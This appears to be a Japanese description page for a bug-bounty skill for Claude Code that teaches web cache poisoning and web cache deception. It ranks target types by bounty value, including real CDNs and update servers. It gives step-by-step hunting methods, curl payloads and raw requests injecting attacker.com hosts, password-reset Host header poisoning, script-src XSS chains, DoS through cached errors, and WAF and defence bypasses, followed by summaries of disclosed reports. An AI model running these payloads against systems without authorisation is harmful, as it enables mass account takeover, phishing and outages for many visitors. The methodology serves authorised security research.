hunt-cache-poison について
hunt-cache-poisonは、Webキャッシュポイズニングをテストするセキュリティ研究者向けスキルです。キャッシュ基盤の特定、キャッシュキーに含まれない入力の検査、後続リクエストへの汚染の確認、影響範囲の評価を扱います。
主な機能
- 01キャッシュ基盤とヒット兆候の特定
- 02キャッシュキー外のリクエストヘッダー検査
- 03Webキャッシュ欺瞞とパラメーター汚染の確認
- 04汚染レスポンスが後続リクエストに及ぶか検証
- 05キャッシュ期間と影響範囲の評価
活用シーン
- 01X-Forwarded-Hostによるキャッシュ応答の汚染を確認
- 02動的なアカウントページが静的アセットとして保存されるか検査
- 03エラーレスポンスの保存によるサービス拒否を確認
- 04他の訪問者が汚染コンテンツを受け取るか検証
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ elementalsouls/ claude-bughunter --skill hunt-cache-poisonインストール後、Claude Code で/hunt-cache-poisonを入力して読み込まれたか確認します。
詳細
最重要ターゲット
キャッシュポイズニングは、一つのキャッシュエントリーを汚染するだけで、数千人から数百万人の被害者に同時に影響を及ぼす可能性があるため、価値の高い攻撃です。1回のリクエストで、大規模な悪用につながります。報奨金は影響範囲に応じて高くなります。
特に価値の高いターゲット:
- CDN から配信されるアセット(cdn.shopify.com、cloudfront ディストリビューション、Fastly/Akamai のエッジ)— これらを汚染すると、世界中のすべての訪問者に影響します
- アフィリエイト/紹介フローを持つE コマースプラットフォーム(Shopify、WooCommerce のストアフロント)— セッションハイジャックやアフィリエイト詐欺につながる可能性があります
- アップデートサーバーを持つゲームプラットフォーム(rockstargames updates.* ドメイン)— アップデート配信への DoS は、広範囲のクライアント障害につながります
- キャッシュ経由で配信される認証エンドポイント — アカウント乗っ取りにつながります(最も深刻なケースです)
- アセット CDN(JS/CSS 配信)— XSS ペイロードを大規模に配信できます
- SaaS のマルチテナントプラットフォーム — キャッシュキーを共有するすべてのテナントに、汚染されたレスポンスが漏えいします
最も高い報奨金が見込めるアセットの種類: CDN ホスト名、テナントごとのサブドメイン構成、アップデート/ダウンロードサーバー、誤ってキャッシュされているログイン/アカウントページ、アフィリエイトリンクの短縮サービス。
自動テストの優先順位
このスキルには2種類の異なる攻撃が含まれています。まず、より単純な攻撃を試してください。
攻撃 1 — パスワードリセットポイズニング(Host ヘッダーインジェクション):
アプリは Host ヘッダーを使って、メール内のパスワードリセットリンクを生成します。攻撃者が制御するホスト名を注入すると、被害者のリセットメールには、あなたのサーバーへのリンクが含まれます。
POST /forgot-password
Host: attacker.com
X-Forwarded-Host: attacker.com
X-Host: attacker.com
[email protected]
Content-Type: application/x-www-form-urlencoded
制御できる、またはレスポンス内で特定できる、特徴的なホスト名を使ってください。証明: 注入したホスト名がレスポンス本文に現れる(生成されたリセットリンクを反映するアプリもあります)か、注入後に操作が成功する(2xx と「リセットメールを送信しました」というメッセージが返る)ことを確認します。これにより、汚染されたリンクが被害者に送信されることを確認できます。
複数のホストヘッダーを試してください。信頼するヘッダーはアプリによって異なります(最も一般的なのは X-Forwarded-Host ですが、プロキシ経由で転送される場合は Host 自体も機能します)。
攻撃 2 — Web キャッシュポイズニング:
キャッシュ可能なページへの GET リクエストで、X-Forwarded-Host に攻撃者が制御するホスト名を注入します。ホスト名がレスポンス本文に反映され、かつレスポンスがキャッシュされると、後続の訪問者に汚染されたレスポンスが返されます。
レスポンス内のキャッシュを示すシグナルを確認します:X-Cache: HIT、CF-Cache-Status: HIT、Age: <nonzero>、または Via: cloudfront/varnish/fastly。
両方の攻撃の証明: 注入した値がレスポンス本文に反映されること、またはヘッダーを改ざんしても操作が正常に完了すること。
攻撃対象領域のシグナル
確認する URL パターン:
cdn.、assets.、static.、updates.、downloads.のサブドメイン- 静的ファイルに見える拡張子を含む URL パス構造:
/path/to/page.css、/account.php/nonexistent.jpg - アフィリエイト/リンク短縮エンドポイント:
/link/、/go/、/ref/、/out/ - 動的コンテンツとキャッシュ可能に見える URL が混在するパス
キャッシュを示すレスポンスヘッダー:
X-Cache: HIT / MISS
X-Cache-Status: HIT
CF-Cache-Status: HIT / MISS (Cloudflare)
Age: <nonzero>
Via: 1.1 varnish / cloudfront / fastly
Cache-Control: public, max-age=...
Surrogate-Control: max-age=...
X-Served-By: cache-...
JS/技術スタックのシグナル:
- レスポンスヘッダーに含まれる Fastly、Varnish、Cloudfront、Akamai、Nginx proxy_cache
- サードパーティー連携を使用する Shopify/Linkpop スタック
- 末尾のセグメントを正規化せず、パスベースのルーティングを使用するプラットフォーム
- 未検証のヘッダー(Host、X-Forwarded-Host、X-Original-URL)をレスポンスに反映するサーバー
危険なヘッダー候補(キャッシュキーに含まれない入力):
X-Forwarded-Host
X-Host
X-Forwarded-Scheme
X-Original-URL
X-Rewrite-URL
Forwarded
X-HTTP-Method-Override
ステップごとのハンティング手法
-
キャッシュインフラをマッピングします。 ターゲットに GET リクエストを送り、レスポンスヘッダーを調べます。キャッシュ層(Cloudflare、Fastly、Varnish、Nginx)を特定します。
Age、X-Cache、CF-Cache-Statusヘッダーを確認します。 -
キャッシュキーの構成要素を特定します。 同一のリクエストを2回送信します。
Ageが増加する場合、レスポンスはキャッシュされています。ヘッダーを1つずつ変えて(例:X-Forwarded-Hostを追加して)、キャッシュキーに含まれていない(キー化されていない)ヘッダーを特定します。 -
キー化されていないヘッダーの反映をテストします。
X-Forwarded-Host: evil.comを追加し、値がレスポンス本文に現れるかを確認します(リダイレクト、正規リンク、CSP ヘッダー、JS の src 属性、メタタグなど)。一意のキャッシュ回避クエリパラメーター(例:?cb=<random>)を追加して、使い捨てのキーでプローブをキャッシュ MISS にします。これにより、実際の被害者と共有されるキャッシュキーに有効なポイズンエントリーを早まって保存せずに、反映を確認できます。(Param Miner の「Guess headers」モードは、こうしたキー化されていないヘッダー/パラメーターを自動検出するための標準的な Burp ツールです。) -
URL パスの操作をテストします(Web Cache Deception)。 動的エンドポイントの末尾に、静的ファイルを装う拡張子を追加します:
GET /account/profile.cssGET /dashboard/settings.jpgGET /affiliate-link/target.jsサーバーが動的コンテンツを返し、かつキャッシュに保存するかを確認します。
-
キャッシュポイズニングによる DoS をテストします。 4xx/5xx エラーを発生させるヘッダーを含むリクエストを送り、そのエラーレスポンスがキャッシュされるかを確認します:
- 不正な形式の
Hostヘッダー - 無効なホストを指定した
X-Forwarded-Host - バックエンドエラーを引き起こす大きすぎるヘッダー
- 不正な形式の
-
キー化されていないパラメーターのポイズニングを確認します。 クエリパラメーターのファティーグや HTTP パラメーター汚染を試します:
GET /page?utm_source="><script>alert(1)</script>パラメーターが反映され、/pageへの通常のリクエストに対してキャッシュされるかを確認します。
-
キャッシュへの保存を検証します。 ポイズニングの可能性があるリクエストを送信した直後に、別の IP アドレスまたはシークレットセッションから、悪意のあるヘッダーを付けずに同じ URL へリクエストします。ポイズニングされたレスポンスが返ってきた場合、攻撃が確認されたことになります。
-
キャッシュ TTL を測定します。
Cache-Control: max-ageとAgeを確認し、ポイズンがどれくらい持続するか、期限切れ前に悪用できるかを把握します。 -
アフィリエイト/リンクのフローを重点的に確認します。 Linkpop などのプラットフォームでは、リファラー/製品 URL が、別のユーザーにも返されるキャッシュ可能なレスポンスに埋め込まれているかをテストします。
-
影響範囲を記録します。 グローバル CDN エッジ(世界規模)、リージョナルキャッシュ、単一サーバーのキャッシュのいずれかを特定します。これは重大度評価に直接影響します。
ペイロードと検出パターン
キャッシュの動作を確認する:
# Send twice, compare Age header
curl -s -I "https://target.com/page" | grep -i "age\|x-cache\|cf-cache"
curl -s -I "https://target.com/page" | grep -i "age\|x-cache\|cf-cache"
キー化されていない X-Forwarded-Host をテストする:
curl -s -H "X-Forwarded-Host: evil.attacker.com" \
"https://target.com/page" | grep -i "evil.attacker.com"
Web Cache Deception(パスの追加)をテストする:
# Authenticated session cookie required
curl -s -b "session=YOUR_SESSION" \
"https://target.com/account/profile.css"
# Then fetch without auth from another client
curl -s "https://target.com/account/profile.css"
キャッシュ済みバージョンに当てずにポイズンをテストするため、キャッシュ MISS を強制する:
# Use a unique cache-busting query param to land on a fresh key — do NOT rely on
# client-sent "Cache-Control: no-cache" (per RFC 7234 it requests revalidation, not
# skip-storage, and Cloudflare/Fastly/Akamai generally ignore it on cacheable assets).
curl -s -H "X-Forwarded-Host: canary.attacker.com" \
"https://target.com/page?cb=$RANDOM"
ポイズニングされたエラーレスポンスによる DoS:
curl -s -H "X-Forwarded-Host: aaaaaaaaaaa.invalid" \
"https://target.com/js/app.js" -I
# Check if next clean request returns error
curl -s -I "https://target.com/js/app.js" | grep "HTTP/"
Burp/ZAP のレスポンス履歴内の grep パターン:
# Headers indicating cache hit
X-Cache: HIT
CF-Cache-Status: HIT
Age: [1-9]
# Reflected unkeyed input in body
evil\.attacker\.com
canary\d+\.
# Web cache deception indicators
Content-Type: text/css (but response is HTML/JSON)
Cache-Control: public.*max-age (on authenticated endpoint)
パラメーター汚染テスト:
curl -s "https://target.com/page?cb=1¶m=CANARY_VALUE" | grep CANARY_VALUE
# Then check if clean request returns poisoned version
curl -s "https://target.com/page?cb=1"
キー化されていないヘッダーを探す Burp Suite Intruder のワードリスト:
X-Forwarded-Host
X-Host
X-Forwarded-Server
X-HTTP-Host-Override
Forwarded
X-Original-URL
X-Rewrite-URL
X-Forwarded-Scheme
X-Forwarded-Proto
True-Client-IP
Origin ヘッダー → ACAO キャッシュポイズニング
Origin をキー化されていないヘッダーのセットに追加します。Access-Control-Allow-Origin に反映され、その後キャッシュされるかをテストします。2回連続で curl -H "Origin: evil.example" URL -I を実行します。攻撃者のオリジンまたは * を指定した ACAO がキャッシュされると、正規ユーザーの CORS が破壊されます(キャッシュ DoS)。許容的な ACAO がキャッシュされると、他のユーザーのデータを読み取れるようになります。開示済み:reports/591302。
よくある根本原因
-
CDN の設定ミス — URL パスのみを基準にしたキャッシュ。 エンジニアは、動的ルートにパスを追加できることに気づかず、「
*.jsに一致するものをすべてキャッシュする」といったキャッシュルールを設定します。オリジンサーバーは余分なパスセグメントを無視しますが、CDN はそれらをキャッシュキーとして使用します。 -
キーに含まれないヘッダーの転送。 開発者は、URL 生成(正規リンク、リダイレクト、パスワードリセットメール)のために
X-Forwarded-Hostをバックエンドに転送するようリバースプロキシを設定しますが、これをキャッシュキーに含めません。CDN は汚染されたレスポンスをキャッシュします。 -
寛容なルーティングによる Web キャッシュ欺瞞。 URL を正規化するフレームワーク(例:Rails、Express)は、
/account/settings.cssを受け付け、/account/settingsと同じレスポンスを返します。CDN は.css拡張子を検出し、積極的なキャッシュルールを適用します。 -
マルチテナントのレスポンスの共有キャッシュ。 テナント分離をキャッシュキーに含めず、単一の CDN を使用する SaaS プラットフォームでは、テナント間でキャッシュを汚染できます。
-
エラーレスポンスを考慮せずにキャッシュする。 攻撃者が制御する入力によって発生したバックエンドエラー(404、500)がキャッシュされ、正規のユーザーに対する DoS を引き起こします。開発者はエラーステータスコードを除外せずにキャッシュを実装します。
-
Varyヘッダーの不完全な実装。 開発者はVary: X-Forwarded-Hostを追加すべきだと知っていても忘れてしまうか、CDN がVaryヘッダーを完全に削除または無視します(Cloudflare は過去に、一部のアセットタイプで Vary を削除していました)。 -
URL を反映するサードパーティー連携。 アフィリエイト/リンク追跡システム(Shopify Linkpop など)は、メタデータ、正規タグ、またはリダイレクトに遷移先 URL を反映します。そして、これらがグローバルにキャッシュされます。
回避手法
防御策:既知の汚染ヘッダーを WAF でブロックする
- 回避策:あまり一般的でないヘッダーのバリエーションを使う:
X-Host、X-Forwarded-Server、X-HTTP-Host-Override、Forwarded: host=evil.com、X-Original-URL - 回避策:ヘッダー値のエンコード:
X-Forwarded-Host: evil%2ecom - 回避策:大文字・小文字の違いを利用する:
x-forwarded-host、X-FORWARDED-HOST
防御策:エッジで攻撃者が指定したヘッダーを削除する
- 回避策:プロキシが HTTP/2 を HTTP/1.1 にダウングレードする場合、HTTP/2 疑似ヘッダーを操作する
- 回避策:HTTP リクエストスマグリングを使って注入する — 汚染ヘッダーを含むリクエストを WAF に通過させ、キャッシュサーバーに直接到達させる
防御策:キャッシュ前に認証を必須にする
- 回避策:Web キャッシュ欺瞞 — 認証を無視するキャッシュルールに一致するよう URL に
.css/.jsを追加し、認証済みコンテンツをキャッシュに保存させる
防御策:クエリ文字列を含む完全な URL をキャッシュキーに含める
- 回避策:HTTP パラメータ汚染 — 一部のパーサーは最初の出現箇所を採用する一方、キャッシュは文字列全体をキーにします。
?legit=1¶m=evilを注入すると、キャッシュには?legit=1¶m=evilとして保存されますが、被害者は?legit=1にアクセスします - 回避策:巨大な GET リクエスト — バックエンドは処理するものの、キャッシュは無視するボディパラメーターを送信する
防御策:TTL を短くする/キャッシュをすばやくパージする
- 回避策:再汚染を自動化する。TTL の期限が切れる直前に、汚染リクエストをループで送信する
- 回避策:特定の PoP 経由でリクエストをルーティングし、デフォルト TTL がより長い CDN ノードを標的にする
防御策:機密性の高いエンドポイントに Cache-Control: private を設定する
- 回避策:CDN がこのヘッダーを尊重するか確認する(一部の CDN は、管理者がキャッシュルールをグローバルに上書きしている場合、これを無視します)
- 回避策:同じ機密データを反映する、近接したキャッシュ可能なエンドポイントを探す
ゲート 0:検証
-
攻撃者は現時点で何を実行できますか? 攻撃者はキャッシュエントリーを汚染し、その後、別のクライアント/IPからの別個の未認証リクエストが、汚染されたレスポンスを受け取ることを実証できる必要があります。攻撃者自身のブラウザーにだけ影響が現れるのでは不十分です。攻撃者にしか影響が見えない場合、それはキャッシュポイズニングではありません。
-
被害者は何を失いますか? 次のいずれかである必要があります。(a)汚染されたレスポンスに反映された認証情報によるセッション/アカウントの侵害、(b)汚染されたアセットを介した攻撃者が制御する JS の実行、(c)正規のリクエストにエラーレスポンスが返されるサービス拒否、または(d)機密データの漏えい(アカウント情報がキャッシュされ、ほかのユーザーに配信される)。「奇妙なレスポンスヘッダー」だけでは影響とは言えません。
-
一から 10 分以内に再現できますか? 次の手順を実行できる必要があります。ポイズニングリクエストを送信する → キャッシュへの保存を待つ → シークレットウィンドウ/別 IP から URL を取得する → 汚染されたレスポンスを確認する。2 つ目のクライアントでこの再現手順を実証できない場合、キャッシュが実際には汚染を保存していない可能性があり、報告の準備ができていません。
実際の影響例
シナリオ 1 — CDN アセット配信に対する大規模な DoS(Shopify CDN)
攻撃者は、細工したヘッダーを含むリクエストを送信してオリジンに 4xx エラーを返させることで、cdn.shopify.com の CDN 配信 JavaScript アセットを汚染できることを特定しました。CDN はこのエラーレスポンスをキャッシュしました。その後、このアセットを読み込むすべてのマーチャントのストアフロントで、有効な JS ファイルの代わりにキャッシュされたエラーが返され、同じ CDN パスを共有するすべてのストアでチェックアウトフローとストアフロント機能が破損しました。HTTP リクエスト 1 回で、世界中のマーチャントに影響が及び、キャッシュ TTL が切れるまで継続しました。
シナリオ 2 — Web キャッシュ欺瞞によるアカウント乗っ取り
認証済みアカウントページを提供するプラットフォームで、攻撃者は /account/profile/photo.jpg のような URL を作成し、被害者に(フィッシングリンクを通じて)送りました。被害者が認証済みの状態でこの URL にアクセスすると、サーバーはアカウントの完全なプロフィールページ(名前、メールアドレス、セッショントークン)を返しました。URL が .jpg で終わっていたため、CDN は認証済みレスポンスを公開状態でキャッシュしました。攻撃者はその後、認証なしで /account/profile/photo.jpg を取得し、被害者のアカウントデータを受け取り、アカウントを完全に乗っ取ることができました。キャッシュが同じレスポンスを後続のリクエストにも配信したため、影響はさらに拡大しました。
シナリオ 3 — URL パス操作によるアフィリエイトリンクの乗っ取り(Shopify Linkpop) 攻撃者は、Linkpop のアフィリエイトリンクサービスが URL パスに基づいてレスポンスをキャッシュする一方、操作された商品遷移先 URL をキャッシュ済み HTML に反映することを発見しました。正規ユーザーがアクセスする前に、特別に細工したパスへアクセスすることで、攻撃者はキャッシュを汚染し、アフィリエイトリンクのクリックを正規の Amazon 商品ではなく攻撃者が制御するドメインへリダイレクトしました。有効なマーチャントリンクに見えるリンクをクリックした被害者は、攻撃者のインフラへ誘導され、認証情報を狙ったフィッシングや正規マーチャントのアフィリエイト収益の損失につながりました。
公開済みレポートの引用(2017-2024)
以下の実在する検証済みのバグバウンティ/協調的情報開示の事例は、このスキルの対象範囲を広げるものです。主な 2 種類、すなわちキャッシュポイズニング(攻撃者が被害者に配信されるキャッシュ済みレスポンスに影響を与える)とキャッシュ欺瞞(攻撃者がキャッシュをだまして被害者の非公開レスポンスを保存させる)を扱います。
-
Shopify — X-Forwarded-Host によるキャッシュポイズニング(H1 #977851)
- サブクラス:X-Forwarded-Host ヘッダーのポイズニング(キーに含まれない入力 → リダイレクト/script-src の改変)
- ペイロード:
GET /any-pathとX-Forwarded-Host: attacker.com— 1 回のリクエストで、攻撃者のホストがapps.shopify.comおよびローカライズされたサブドメイン全体のキャッシュ済みレスポンスに残存 - 根本原因:X-Forwarded-Host はアセット/リダイレクト URL の生成に影響していましたが、キャッシュキーには含まれていませんでした
- 年:2020 — $1,300 → $6,300 に増額(一度のポイズニングで複数ホストに影響)
-
HackerOne — X-Forwarded-Port によるキャッシュポイズニング DoS (H1 #409370)
- サブクラス: X-Forwarded-Host / X-Forwarded-Port による DoS(不正なポートへのリダイレクトのポイズニング)
- ペイロード:
X-Forwarded-Port: 1を付けたGET /<redirect-path>— キャッシュされた 301 リダイレクトが正規ユーザーをポート 1 に誘導し、アクセスを妨害 - 根本原因: 301 リダイレクト生成時に X-Forwarded-* ヘッダーを信頼していたこと。キャッシュが不正な Location を保存
- 年: 2018 — $2,500(H1 に対する H1 の基礎的ケース)
-
GitLab — X-HTTP-Method-Override によるキャッシュポイズニング DoS (H1 #1160407)
- サブクラス: メソッドクローキング / GCS キャッシュキーのブリード(HEAD が GET キーで保存される)
- ペイロード:
X-HTTP-Method-Override: HEADを付けたGET /assets/webpack/*.js— GCS バックエンドがオーバーライドを受理して空のボディを返し、CDN がそれを正規の GET レスポンスとしてキャッシュ - 根本原因: CDN キャッシュがメソッドを考慮していなかった。HEAD のボディ(空)がキャッシュされた静的アセットの GET エントリを上書き
- 年: 2021 — $2,500(DoS は通常 OOS だが、新規性が認められて支払い)
-
PayPal — Web Cache Deception(Omer Gil の原典) (ブログ)
- サブクラス: 認証済みルートに
.css/.jpgなどのパスを追加する古典的 WCD - ペイロード:
GET https://www.paypal.com/myaccount/home/foo.css— オリジンが認証済みアカウントページ全体を返し、CDN がそれを「静的な .css」として約 5 時間キャッシュ - 根本原因: オリジンが未知のパスサフィックスを親の動的ハンドラーにルーティングしていた。CDN は静的に見えるファイル拡張子のみに基づいてキャッシュ
- 年: 2017 — $3,000(PortSwigger 2017 年トップ 10 Web ハッキングテクニック、第 2 位)
- サブクラス: 認証済みルートに
-
Cloudflare PBB —
.avifによる Cache Deception Armor バイパス (H1 #1391635)- サブクラス: マイナーな画像拡張子を使った CDN 固有の許可リストバイパス(Cloudflare の WCD 対策機能)
- ペイロード:
GET https://<protected-origin>/account/me.avif— Cloudflare の Cache Deception Armor の拡張子リストが.avifを欠いていたため、認証済み HTML レスポンスがキャッシュ - 根本原因: Cache Deception Armor が静的で不完全な拡張子許可リストを使用しており、最新の画像 MIME タイプを網羅していなかった
- 年: 2022 — Cloudflare PBB バウンティ(金額は非公開)
-
Akamai(PayPal/Airbnb/Goldman Sachs) — ホップバイホップヘッダースマグリング → サーバーサイドエッジポイズニング (Tediosi & Mariani の記事)
- サブクラス: CDN 固有のリクエストスマグリングで、近隣 IP 向けの Akamai エッジキャッシュに攻撃者のレスポンスを混入させる
- ペイロード:
Connection: Content-Length+ 細工されたリクエスト — Akamai の最初のプロキシがホップバイホップとして Content-Length を除去し、2 番目のプロキシがボディを 2 番目のリクエストとして扱い、そのレスポンスがエッジでキャッシュ - 根本原因: Akamai のプロキシ階層間でホップバイホップヘッダーの扱いが一貫しておらずデシンクが発生。スマグリングされたレスポンスがサーバーサイドでグローバルにキャッシュ
- 年: 2022 — 影響を受けたプログラム全体で 合計 $50K 超(PayPal $25,200 + Airbnb $14,875 + Goldman Sachs $100)、PortSwigger 2022 年トップ 10 Web ハッキングテクニック ノミネート
-
James Kettle (PortSwigger) —「Gotta cache 'em all」:Cloudflare/Fastly/GCP に対するパス正規化と WCD (PortSwigger Research)
- サブクラス:主要 CDN(Cloudflare、Fastly、GCP/Google Cloud)におけるキャッシュキーのパス正規化の不一致と Web Cache Deception — このスキルの説明で言及されている 2024 年の調査
- ペイロード:オリジンとキャッシュ間の区切り文字/正規化の不一致(エンコードされたパスセグメントや静的サフィックスを使った手法など)により、キャッシュが動的/認証済みレスポンスを静的に見えるキーで保存する
- 根本原因:キャッシュとオリジンで URL パスの正規化/解析方法が異なるため、キャッシュキーがオリジンで実際に提供されたリソースと一致しない
- 年:2024 — CDN ベンダーとの協調開示。手法に関する調査(単一のバウンティはなし)、PortSwigger Top-10 Web Hacking Techniques 2024 に選出
関連スキルとチェーン
hunt-xss— キャッシュポイズニングは、反射型 XSS(重大度が低く、自分自身にしか影響しない)を、すべての CDN エッジ訪問者に及ぶ格納型 XSS へと拡大します。チェーンのプリミティブ:X-Forwarded-Host: attacker.comでキャッシュされたスクリプトの src を汚染 → キャッシュされたレスポンスに<script src="//attacker.com/x.js">が含まれる → その CDN エッジへのすべての訪問者が攻撃者の JS を実行し、Cache-Control の max-age 全体にわたって持続します。hunt-http-smuggling— スマグリングは、フロントエンドのキャッシュキー正規化と WAF による汚染ヘッダーの除去を回避し、キャッシュサーバーに直接到達します。チェーンのプリミティブ:CL.TE スマグリングでX-Forwarded-Host: attacker.comを、エッジでヘッダーを除去した WAF を通過させてキャッシュバックエンドに届ける → 被害者の通常の URL で汚染されたエントリーが保存される → スマグリングされたリクエストが次の被害者向けのキャッシュレスポンスになる、デシンク型ポイズニングが発生します。hunt-auth-bypass— Web Cache Deception は、認証済みページを一般公開キャッシュされるレスポンスに変え、セッションに紐づいたコンテンツを未認証の攻撃者に漏えいさせます。チェーンのプリミティブ:/account/profile.cssが認証済み HTML として提供され、静的アセットとしてキャッシュされる → 攻撃者が同じ URL を認証なしで取得し、被害者のメールアドレス/トークンを読み取る → レスポンス本文にセッションクッキーが含まれる → ATO が完全に成立します。security-arsenal— 手動でファジングする前に、非キー化ヘッダーのワードリスト(X-Forwarded-Host、X-Host、X-Forwarded-Server、X-HTTP-Host-Override、Forwarded、X-Original-URL)と WCD のパス拡張子リスト(.css、.js、.jpg、.ico、;.css、%2e%2ecss)を使用します。triage-validation— Critical と判定する前に、Pre-Severity Gate を実施してください。汚染されたレスポンスは、汚染ヘッダーを付けずに別の IP/シークレットウィンドウから再現できなければなりません。自分のブラウザーでしか効果が見られない場合は、自分自身のキャッシュであり、該当しません。